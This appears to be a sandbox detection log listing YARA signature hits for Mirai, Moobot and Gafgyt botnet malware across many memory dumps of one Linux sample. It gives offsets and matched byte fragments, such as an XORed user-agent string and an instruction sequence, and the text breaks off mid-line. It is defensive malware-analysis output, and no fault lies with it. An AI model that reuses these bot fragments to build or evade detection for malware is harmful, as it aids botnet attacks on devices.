6746.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6746.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6746.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6746.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6746.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6746.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6350.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6249.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7196.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7045.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7013.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6813.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6813.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6813.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6813.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6813.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6813.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7380.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7380.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7380.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7380.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7380.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7380.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6398.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6637.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6826.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6826.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6826.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6826.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6826.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6826.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6502.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7379.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7275.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6539.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6539.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6539.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6539.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6539.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 